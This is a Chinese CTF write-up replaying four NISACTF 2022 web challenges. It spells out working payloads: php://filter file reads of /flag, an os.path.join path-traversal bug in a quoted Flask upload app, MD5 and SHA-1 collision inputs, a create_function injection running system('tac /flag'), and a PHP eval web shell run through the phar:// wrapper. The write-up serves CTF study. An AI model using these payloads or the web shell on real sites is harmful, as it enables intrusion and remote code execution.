【Web】NISACTF 2022 个人复现

①easyssrf

②babyupload

③ level-up

④bingdundun~

明天就新生赛了，练套题保持下手感吧

（文章只选取了一部分）

①easyssrf

输入/flag

输入file:///fl4g

访问/ha1x1ux1u.php

?file=php://filter/convert.base64-encode/resource=/flag

base64解码得到flag

②babyupload

访问/source得到源码

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

简单审一下代码：上传的文件不能有后缀名，上传后生成一个uuid，并将uuid和文件名存入数据库中，并返回文件的uuid。再通过/file/uuid访问文件，通过查询数据库得到对应文件名，在文件名前拼接uploads/后读取该路径下上传的文件

os.path.join绝对路径拼接漏洞:

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径，而之后的每个参数被当作组件拼接到基础路径之后。

然而，这个函数有一个少有人知的特性，如果拼接的某个路径以 / 开头，那么包括基础路径在内的所有前缀路径都将被删除，该路径将视为绝对路径

直接访问回显路径即可

③ level-up

初始界面右键查看源码

提示查看/robots.txt

访问/level_2_1s_h3re.php

md5碰撞

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

访问/Level___3.php

sha1碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

访问/level_level_4.php

?NI+SA+=txw4ever

+绕过_过滤

访问/55_5_55.php

?a=\create_function&b=}system('tac /flag');//

因为正则的关系，我们不能以字母数字开头，所以我们可以用\符号开头，它不会影响函数的运行

而转化为create_function创建的函数就会变成

<?php
function lambda_1() {
}system('tac /flag');
//}

④bingdundun~

只能上传图片/压缩包，同时url里发现任意文件读取

写马zip.php，压缩文件为zip.zip

<?php
phpinfo();
@eval ($_POST['teat']);
?>

上传回显文件位置

（该url中有.php，推测?bingdundun=xxx会自动补全.php）

用phar伪协议访问压缩文件

?bingdundun=phar://6c6a0f91b29850cd36dac63bf289a065.zip/zip

rce即可